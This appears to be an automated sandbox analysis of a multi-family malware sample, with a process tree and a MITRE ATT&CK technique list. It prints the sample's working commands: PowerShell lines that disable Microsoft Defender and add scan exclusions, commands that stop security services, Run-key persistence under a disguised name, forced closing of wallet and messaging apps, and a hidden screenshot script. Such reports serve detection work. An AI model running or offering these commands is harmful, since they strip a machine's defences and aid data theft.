    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue; Set-MpPreference -MAPSReporting Disabled -ErrorAction SilentlyContinue; Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue; Set-MpPreference -PUAProtection Disabled -ErrorAction SilentlyContinue""
    3⤵
    - Disables one or more Microsoft Defender components
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:6060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue; Set-MpPreference -MAPSReporting Disabled -ErrorAction SilentlyContinue; Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue; Set-MpPreference -PUAProtection Disabled -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc stop WinDefend"
    3⤵
    - Executes a command shell one-liner
    PID:2688
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:4920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config WinDefend start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:2424
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc stop SecurityHealthService"
    3⤵
    - Executes a command shell one-liner
    PID:5312
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:1216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config SecurityHealthService start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:5388
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:1136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:TEMP' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:5712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:TEMP' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:APPDATA' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:3628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$env:APPDATA' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).DisableRealtimeMonitoring""
    3⤵
    - Executes a command shell one-liner
    PID:6092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).DisableRealtimeMonitoring"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4108
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience"
      4⤵
      Views/modifies file attributes
      PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:2804
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f"
    3⤵
    - Executes a command shell one-liner
    PID:3156
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f
      4⤵
      Adds Run key to start application
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f"
    3⤵
    - Executes a command shell one-liner
    PID:3164
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ShellExperienceHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Microsoft\Windows\ShellExperience\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"" /f
      4⤵
      Adds Run key to start application
      PID:3724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:1356
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:1692
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:4752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:5416
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
    3⤵
    - Executes a command shell one-liner
    PID:3700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
    3⤵
    - Executes a command shell one-liner
    PID:5840
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Discovers running processes
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:1152
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      PID:5436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry